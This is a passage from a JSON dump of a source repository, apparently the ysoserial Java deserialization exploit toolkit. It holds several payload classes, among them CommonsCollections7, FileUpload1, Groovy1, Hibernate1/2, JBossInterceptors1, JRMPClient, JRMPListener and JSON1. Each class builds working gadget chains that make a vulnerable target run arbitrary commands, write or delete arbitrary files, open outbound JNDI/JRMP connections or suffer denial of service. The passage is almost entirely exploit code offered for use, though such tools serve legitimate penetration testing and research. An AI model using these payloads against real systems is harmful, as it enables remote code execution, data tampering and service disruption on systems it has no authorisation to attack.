Object[0]}),\n            new InvokerTransformer(\"exec\",\n                new Class[]{String.class},\n                execArgs),\n            new ConstantTransformer(1)};\n\n        Map innerMap1 = new HashMap();\n        Map innerMap2 = new HashMap();\n\n        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject\n        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);\n        lazyMap1.put(\"yy\", 1);\n\n        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);\n        lazyMap2.put(\"zZ\", 1);\n\n        // Use the colliding Maps as keys in Hashtable\n        Hashtable hashtable = new Hashtable();\n        hashtable.put(lazyMap1, 1);\n        hashtable.put(lazyMap2, 2);\n\n        Reflections.setFieldValue(transformerChain, \"iTransformers\", transformers);\n\n        // Needed to ensure hash collision after previous manipulations\n        lazyMap2.remove(\"yy\");\n\n        return hashtable;\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(CommonsCollections7.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/DynamicDependencies.java",
    "content": "package ysoserial.payloads;\n\n\n/**\n * @author mbechler\n *\n */\npublic interface DynamicDependencies {\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/FileUpload1.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Arrays;\n\nimport org.apache.commons.codec.binary.Base64;\nimport org.apache.commons.fileupload.disk.DiskFileItem;\nimport org.apache.commons.io.output.DeferredFileOutputStream;\nimport org.apache.commons.io.output.ThresholdingOutputStream;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * Gadget chain:\n * DiskFileItem.readObject()\n *\n * Arguments:\n * - copyAndDelete;sourceFile;destDir\n * - write;destDir;ascii-data\n * - writeB64;destDir;base64-data\n * - writeOld;destFile;ascii-data\n * - writeOldB64;destFile;base64-data\n *\n * Yields:\n * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)\n * - pre 1.3.1 (+ old JRE): write data to an arbitrary file\n * - 1.3.1+: write data to a more or less random file in an arbitrary directory\n *\n * @author mbechler\n */\n@Dependencies ( {\n    \"commons-fileupload:commons-fileupload:1.3.1\",\n    \"commons-io:commons-io:2.4\"\n} )\n@PayloadTest(harness=\"ysoserial.test.payloads.FileUploadTest\", precondition = \"isApplicableJavaVersion\", flaky = \"possible race condition\")\n@Authors({ Authors.MBECHLER })\npublic class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public DiskFileItem getObject ( String command ) throws Exception {\n\n        String[] parts = command.split(\";\");\n\n        if ( parts.length == 3 && \"copyAndDelete\".equals(parts[ 0 ]) ) {\n            return copyAndDelete(parts[ 1 ], parts[ 2 ]);\n        }\n        else if ( parts.length == 3 && \"write\".equals(parts[ 0 ]) ) {\n            return write(parts[ 1 ], parts[ 2 ].getBytes(\"US-ASCII\"));\n        }\n        else if ( parts.length == 3 && \"writeB64\".equals(parts[ 0 ]) ) {\n            return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));\n        }\n        else if ( parts.length == 3 && \"writeOld\".equals(parts[ 0 ]) ) {\n            return writePre131(parts[ 1 ], parts[ 2 ].getBytes(\"US-ASCII\"));\n        }\n        else if ( parts.length == 3 && \"writeOldB64\".equals(parts[ 0 ]) ) {\n            return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));\n        }\n        else {\n            throw new IllegalArgumentException(\"Unsupported command \" + command + \" \" + Arrays.toString(parts));\n        }\n    }\n\n\n    public void release ( DiskFileItem obj ) throws Exception {\n        // otherwise the finalizer deletes the file\n        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);\n        Reflections.setFieldValue(obj, \"dfos\", dfos);\n    }\n\n    private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {\n        return makePayload(0, copyTo, copyAndDelete, new byte[1]);\n    }\n\n\n    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)\n    private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {\n        return makePayload(data.length + 1, dir, dir + \"/whatever\", data);\n    }\n\n\n    // writes data to an arbitrary file\n    private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {\n        return makePayload(data.length + 1, file + \"\\0\", file, data);\n    }\n\n\n    private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {\n        // if thresh < written length, delete outputFile after copying to repository temp file\n        // otherwise write the contents to repository temp file\n        File repository = new File(repoPath);\n        DiskFileItem diskFileItem = new DiskFileItem(\"test\", \"application/octet-stream\", false, \"test\", 100000, repository);\n        File outputFile = new File(filePath);\n        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);\n        OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, \"memoryOutputStream\");\n        os.write(data);\n        Reflections.getField(ThresholdingOutputStream.class, \"written\").set(dfos, data.length);\n        Reflections.setFieldValue(diskFileItem, \"dfos\", dfos);\n        Reflections.setFieldValue(diskFileItem, \"sizeThreshold\", 0);\n        return diskFileItem;\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(FileUpload1.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Groovy1.java",
    "content": "package ysoserial.payloads;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.util.Map;\n\nimport org.codehaus.groovy.runtime.ConvertedClosure;\nimport org.codehaus.groovy.runtime.MethodClosure;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\n\n/*\n\tGadget chain:\n\t\tObjectInputStream.readObject()\n\t\t\tPriorityQueue.readObject()\n\t\t\t\tComparator.compare() (Proxy)\n\t\t\t\t\tConvertedClosure.invoke()\n\t\t\t\t\t\tMethodClosure.call()\n\t\t\t\t\t\t\t...\n\t\t\t\t\t\t  \t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\tRuntime.exec()\n\n\tRequires:\n\t\tgroovy\n */\n\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@Dependencies({\"org.codehaus.groovy:groovy:2.3.9\"})\n@Authors({ Authors.FROHOFF })\npublic class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {\n\n\tpublic InvocationHandler getObject(final String command) throws Exception {\n\t\tfinal ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, \"execute\"), \"entrySet\");\n\n\t\tfinal Map map = Gadgets.createProxy(closure, Map.class);\n\n\t\tfinal InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);\n\n\t\treturn handler;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(Groovy1.class, args);\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Hibernate1.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Map;\nimport java.util.HashMap;\n\nimport org.hibernate.engine.spi.TypedValue;\nimport org.hibernate.tuple.component.AbstractComponentTuplizer;\nimport org.hibernate.tuple.component.PojoComponentTuplizer;\nimport org.hibernate.type.AbstractType;\nimport org.hibernate.type.ComponentType;\nimport org.hibernate.type.Type;\nimport org.hibernate.EntityMode;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n *\n * org.hibernate.property.access.spi.GetterMethodImpl.get()\n * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()\n * org.hibernate.type.ComponentType.getPropertyValue(C)\n * org.hibernate.type.ComponentType.getHashCode()\n * org.hibernate.engine.spi.TypedValue$1.initialize()\n * org.hibernate.engine.spi.TypedValue$1.initialize()\n * org.hibernate.internal.util.ValueHolder.getValue()\n * org.hibernate.engine.spi.TypedValue.hashCode()\n *\n *\n * Requires:\n * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)\n *\n * @author mbechler\n */\n@Authors({ Authors.MBECHLER })\n@PayloadTest(precondition = \"isApplicableJavaVersion\")\npublic class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public static String[] getDependencies () {\n        if ( System.getProperty(\"hibernate5\") != null ) {\n            return new String[] {\n                \"org.hibernate:hibernate-core:5.0.7.Final\", \"aopalliance:aopalliance:1.0\", \"org.jboss.logging:jboss-logging:3.3.0.Final\",\n                \"javax.transaction:javax.transaction-api:1.2\"\n            };\n        }\n\n        return new String[] {\n            \"org.hibernate:hibernate-core:4.3.11.Final\", \"aopalliance:aopalliance:1.0\", \"org.jboss.logging:jboss-logging:3.3.0.Final\",\n            \"javax.transaction:javax.transaction-api:1.2\", \"dom4j:dom4j:1.6.1\"\n        };\n\n    }\n\n\n    public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,\n            IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {\n        if ( System.getProperty(\"hibernate5\") != null ) {\n            return makeHibernate5Getter(tplClass, method);\n        }\n        return makeHibernate4Getter(tplClass, method);\n    }\n\n\n    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,\n            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {\n        Class<?> getterIf = Class.forName(\"org.hibernate.property.Getter\");\n        Class<?> basicGetter = Class.forName(\"org.hibernate.property.BasicPropertyAccessor$BasicGetter\");\n        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);\n        Reflections.setAccessible(bgCon);\n\n        if ( !method.startsWith(\"get\") ) {\n            throw new IllegalArgumentException(\"Hibernate4 can only call getters\");\n        }\n\n        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);\n\n        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);\n        Object arr = Array.newInstance(getterIf, 1);\n        Array.set(arr, 0, g);\n        return arr;\n    }\n\n\n    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,\n            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {\n        Class<?> getterIf = Class.forName(\"org.hibernate.property.access.spi.Getter\");\n        Class<?> basicGetter = Class.forName(\"org.hibernate.property.access.spi.GetterMethodImpl\");\n        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);\n        Object g = bgCon.newInstance(tplClass, \"test\", tplClass.getDeclaredMethod(method));\n        Object arr = Array.newInstance(getterIf, 1);\n        Array.set(arr, 0, g);\n        return arr;\n    }\n\n\n    public Object getObject ( String command ) throws Exception {\n        Object tpl = Gadgets.createTemplatesImpl(command);\n        Object getters = makeGetter(tpl.getClass(), \"getOutputProperties\");\n        return makeCaller(tpl, getters);\n    }\n\n\n    static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,\n            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {\n        if ( System.getProperty(\"hibernate3\") != null ) {\n            return makeHibernate3Caller(tpl, getters);\n        }\n        return makeHibernate45Caller(tpl, getters);\n    }\n\n\n    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,\n            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {\n        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);\n        Reflections.getField(AbstractComponentTuplizer.class, \"getters\").set(tup, getters);\n\n        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);\n        Reflections.setFieldValue(t, \"componentTuplizer\", tup);\n        Reflections.setFieldValue(t, \"propertySpan\", 1);\n        Reflections.setFieldValue(t, \"propertyTypes\", new Type[] {\n            t\n        });\n\n        TypedValue v1 = new TypedValue(t, null);\n        Reflections.setFieldValue(v1, \"value\", tpl);\n        Reflections.setFieldValue(v1, \"type\", t);\n\n        TypedValue v2 = new TypedValue(t, null);\n        Reflections.setFieldValue(v2, \"value\", tpl);\n        Reflections.setFieldValue(v2, \"type\", t);\n\n        return Gadgets.makeMap(v1, v2);\n    }\n\n\n    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,\n            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {\n        // Load at runtime to avoid dependency conflicts\n        Class entityEntityModeToTuplizerMappingClass = Class.forName(\"org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping\");\n        Class entityModeToTuplizerMappingClass = Class.forName(\"org.hibernate.tuple.EntityModeToTuplizerMapping\");\n        Class typedValueClass = Class.forName(\"org.hibernate.engine.TypedValue\");\n\n        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);\n        Reflections.getField(AbstractComponentTuplizer.class, \"getters\").set(tup, getters);\n        Reflections.getField(AbstractComponentTuplizer.class, \"propertySpan\").set(tup, 1);\n\n        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);\n        HashMap hm = new HashMap();\n        hm.put(EntityMode.POJO, tup);\n        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });\n        Reflections.setFieldValue(t, \"tuplizerMapping\", emtm);\n        Reflections.setFieldValue(t, \"propertySpan\", 1);\n        Reflections.setFieldValue(t, \"propertyTypes\", new Type[] {\n            t\n        });\n\n        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);\n        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);\n        Reflections.setFieldValue(v1, \"value\", tpl);\n        Reflections.setFieldValue(v1, \"type\", t);\n\n        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);\n        Reflections.setFieldValue(v2, \"value\", tpl);\n        Reflections.setFieldValue(v2, \"type\", t);\n\n        return Gadgets.makeMap(v1, v2);\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(Hibernate1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Hibernate2.java",
    "content": "package ysoserial.payloads;\n\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\n\nimport com.sun.rowset.JdbcRowSetImpl;\n\n\n/**\n *\n * Another application filter bypass\n *\n * Needs a getter invocation that is provided by hibernate here\n *\n * javax.naming.InitialContext.InitialContext.lookup()\n * com.sun.rowset.JdbcRowSetImpl.connect()\n * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()\n * org.hibernate.property.access.spi.GetterMethodImpl.get()\n * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()\n * org.hibernate.type.ComponentType.getPropertyValue(C)\n * org.hibernate.type.ComponentType.getHashCode()\n * org.hibernate.engine.spi.TypedValue$1.initialize()\n * org.hibernate.engine.spi.TypedValue$1.initialize()\n * org.hibernate.internal.util.ValueHolder.getValue()\n * org.hibernate.engine.spi.TypedValue.hashCode()\n *\n *\n * Requires:\n * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)\n *\n * Arg:\n * - JNDI name (i.e. rmi:<host>)\n *\n * Yields:\n * - JNDI lookup invocation (e.g. connect to remote RMI)\n *\n * @author mbechler\n */\n@SuppressWarnings ( {\n    \"restriction\"\n} )\n@PayloadTest(harness=\"ysoserial.test.payloads.JRMPReverseConnectTest\", precondition = \"isApplicableJavaVersion\")\n@Authors({ Authors.MBECHLER })\npublic class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public static String[] getDependencies () {\n        return Hibernate1.getDependencies();\n    }\n\n    public Object getObject ( String command ) throws Exception {\n        JdbcRowSetImpl rs = new JdbcRowSetImpl();\n        rs.setDataSourceName(command);\n        return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), \"getDatabaseMetaData\") );\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(Hibernate2.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/JBossInterceptors1.java",
    "content": "package ysoserial.payloads;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport org.jboss.interceptor.builder.InterceptionModelBuilder;\nimport org.jboss.interceptor.builder.MethodReference;\nimport org.jboss.interceptor.proxy.DefaultInvocationContextFactory;\nimport org.jboss.interceptor.proxy.InterceptorMethodHandler;\nimport org.jboss.interceptor.reader.ClassMetadataInterceptorReference;\nimport org.jboss.interceptor.reader.DefaultMethodMetadata;\nimport org.jboss.interceptor.reader.ReflectiveClassMetadata;\nimport org.jboss.interceptor.reader.SimpleInterceptorMetadata;\nimport org.jboss.interceptor.spi.instance.InterceptorInstantiator;\nimport org.jboss.interceptor.spi.metadata.InterceptorReference;\nimport org.jboss.interceptor.spi.metadata.MethodMetadata;\nimport org.jboss.interceptor.spi.model.InterceptionModel;\nimport org.jboss.interceptor.spi.model.InterceptionType;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.lang.reflect.Constructor;\nimport java.util.*;\n\n/*\n    by @matthias_kaiser\n*/\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@PayloadTest(precondition = \"isApplicableJavaVersion\")\n@Dependencies({ \"javassist:javassist:3.12.1.GA\", \"org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final\",\n    \"javax.enterprise:cdi-api:1.0-SP1\", \"javax.interceptor:javax.interceptor-api:3.1\",\n    \"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final\", \"org.slf4j:slf4j-api:1.7.21\" })\n@Authors({ Authors.MATTHIASKAISER })\npublic class JBossInterceptors1 implements ObjectPayload<Object> {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public Object getObject(final String command) throws Exception {\n\n        final Object gadget = Gadgets.createTemplatesImpl(command);\n\n        InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);\n        ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);\n        InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);\n\n        Set<InterceptionType> s = new HashSet<InterceptionType>();\n        s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);\n\n        Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);\n        Reflections.setAccessible(defaultMethodMetadataConstructor);\n        MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,\n                MethodReference.of(TemplatesImpl.class.getMethod(\"newTransformer\"), true));\n\n        List list = new ArrayList();\n        list.add(methodMetadata);\n        Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();\n\n        hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);\n        SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);\n\n        builder.interceptAll().with(simpleInterceptorMetadata);\n\n        InterceptionModel model = builder.build();\n\n        HashMap map = new HashMap();\n        map.put(\"ysoserial\", \"ysoserial\");\n\n        DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();\n\n        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {\n\n            public Object createFor(InterceptorReference paramInterceptorReference) {\n\n                return gadget;\n            }\n        };\n\n        return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);\n\n    }\n\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(JBossInterceptors1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/JRMPClient.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.lang.reflect.Proxy;\nimport java.rmi.registry.Registry;\nimport java.rmi.server.ObjID;\nimport java.rmi.server.RemoteObjectInvocationHandler;\nimport java.util.Random;\n\nimport sun.rmi.server.UnicastRef;\nimport sun.rmi.transport.LiveRef;\nimport sun.rmi.transport.tcp.TCPEndpoint;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\n\n\n/**\n *\n *\n * UnicastRef.newCall(RemoteObject, Operation[], int, long)\n * DGCImpl_Stub.dirty(ObjID[], long, Lease)\n * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)\n * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)\n * DGCClient.registerRefs(Endpoint, List<LiveRef>)\n * LiveRef.read(ObjectInput, boolean)\n * UnicastRef.readExternal(ObjectInput)\n *\n * Thread.start()\n * DGCClient$EndpointEntry.<init>(Endpoint)\n * DGCClient$EndpointEntry.lookup(Endpoint)\n * DGCClient.registerRefs(Endpoint, List<LiveRef>)\n * LiveRef.read(ObjectInput, boolean)\n * UnicastRef.readExternal(ObjectInput)\n *\n * Requires:\n * - JavaSE\n *\n * Argument:\n * - host:port to connect to, host only chooses random port (DOS if repeated many times)\n *\n * Yields:\n * * an established JRMP connection to the endpoint (if reachable)\n * * a connected RMI Registry proxy\n * * one system thread per endpoint (DOS)\n *\n * @author mbechler\n */\n@SuppressWarnings ( {\n    \"restriction\"\n} )\n@PayloadTest( harness=\"ysoserial.test.payloads.JRMPReverseConnectSMTest\")\n@Authors({ Authors.MBECHLER })\npublic class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {\n\n    public Registry getObject ( final String command ) throws Exception {\n\n        String host;\n        int port;\n        int sep = command.indexOf(':');\n        if ( sep < 0 ) {\n            port = new Random().nextInt(65535);\n            host = command;\n        }\n        else {\n            host = command.substring(0, sep);\n            port = Integer.valueOf(command.substring(sep + 1));\n        }\n        ObjID id = new ObjID(new Random().nextInt()); // RMI registry\n        TCPEndpoint te = new TCPEndpoint(host, port);\n        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));\n        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);\n        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {\n            Registry.class\n        }, obj);\n        return proxy;\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());\n        PayloadRunner.run(JRMPClient.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/JRMPListener.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.rmi.server.RemoteObject;\nimport java.rmi.server.RemoteRef;\nimport java.rmi.server.UnicastRemoteObject;\n\nimport sun.rmi.server.ActivationGroupImpl;\nimport sun.rmi.server.UnicastServerRef;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * Gadget chain:\n * UnicastRemoteObject.readObject(ObjectInputStream) line: 235\n * UnicastRemoteObject.reexport() line: 266\n * UnicastRemoteObject.exportObject(Remote, int) line: 320\n * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383\n * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208\n * LiveRef.exportObject(Target) line: 147\n * TCPEndpoint.exportObject(Target) line: 411\n * TCPTransport.exportObject(Target) line: 249\n * TCPTransport.listen() line: 319\n *\n * Requires:\n * - JavaSE\n *\n * Argument:\n * - Port number to open listener to\n */\n@SuppressWarnings ( {\n    \"restriction\"\n} )\n@PayloadTest( skip = \"This test would make you potentially vulnerable\")\n@Authors({ Authors.MBECHLER })\npublic class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {\n\n    public UnicastRemoteObject getObject ( final String command ) throws Exception {\n        int jrmpPort = Integer.parseInt(command);\n        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {\n            RemoteRef.class\n        }, new Object[] {\n            new UnicastServerRef(jrmpPort)\n        });\n\n        Reflections.getField(UnicastRemoteObject.class, \"port\").set(uro, jrmpPort);\n        return uro;\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(JRMPListener.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/JSON1.java",
    "content": "package ysoserial.payloads;\n\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.management.openmbean.CompositeData;\nimport javax.management.openmbean.CompositeType;\nimport javax.management.openmbean.OpenDataException;\nimport javax.management.openmbean.OpenType;\nimport javax.management.openmbean.TabularDataSupport;\nimport javax.management.openmbean.TabularType;\n\nimport javax.xml.transform.Templates;\n\nimport org.springframework.aop.framework.AdvisedSupport;\nimport net.sf.json.JSONObject;\n\n\n/**\n *\n * A bit more convoluted example\n *\n * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()\n * java.lang.reflect.Method.invoke(Object, Object...)\n * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])\n * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])\n * $Proxy0.getOutputProperties()\n * java.lang.reflect.Method.invoke(Object, Object...)\n * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])\n * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)\n * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)\n * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)\n * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)\n * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)\n * net.sf.json.JSONObject._fromBean(Object, JsonConfig)\n * net.sf.json.JSONObject.fromObject(Object, JsonConfig)\n * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)\n * net.sf.json.JSONObject._processValue(Object, JsonConfig)\n * net.sf.json.JSONObject.processValue(Object, JsonConfig)\n * net.sf.json.JSONObject.containsValue(Object, JsonConfig)\n * net.sf.json.JSONObject.containsValue(Object)\n * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)\n * javax.management.openmbean.TabularDataSupport.equals(Object)\n * java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)\n * java.util.HashMap<K,V>.readObject(ObjectInputStream)\n *\n * @author mbechler\n *\n */\n@SuppressWarnings ( {\n    \"rawtypes\", \"unchecked\", \"restriction\"\n} )\n@Dependencies({ \"net.sf.json-lib:json-lib:jar:jdk15:2.4\", \"org.springframework:spring-aop:4.1.4.RELEASE\",\n    // deep deps\n    \"aopalliance:aopalliance:1.0\", \"commons-logging:commons-logging:1.2\", \"commons-lang:commons-lang:2.6\",\n    \"net.sf.ezmorph:ezmorph:1.0.6\", \"commons-beanutils:commons-beanutils:1.9.2\",\n    \"org.springframework:spring-core:4.1.4.RELEASE\", \"commons-collections:commons-collections:3.1\" })\n@Authors({ Authors.MBECHLER })\npublic class JSON1 implements ObjectPayload<Object> {\n\n    public Map getObject ( String command ) throws Exception {\n        return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);\n    }\n\n\n    /**\n     * Will call all getter methods on payload that are defined in the given interfaces\n     */\n    public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,\n            IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {\n        CompositeType rt = new CompositeType(\"a\", \"b\", new String[] {\n            \"a\"\n        }, new String[] {\n            \"a\"\n        }, new OpenType[] {\n            javax.management.openmbean.SimpleType.INTEGER\n        });\n        TabularType tt = new TabularType(\"a\", \"b\", rt, new String[] {\n            \"a\"\n        });\n        TabularDataSupport t1 = new TabularDataSupport(tt);\n        TabularDataSupport t2 = new TabularDataSupport(tt);\n\n        // we need to make payload implement composite data\n        // it's very likely that there are other proxy 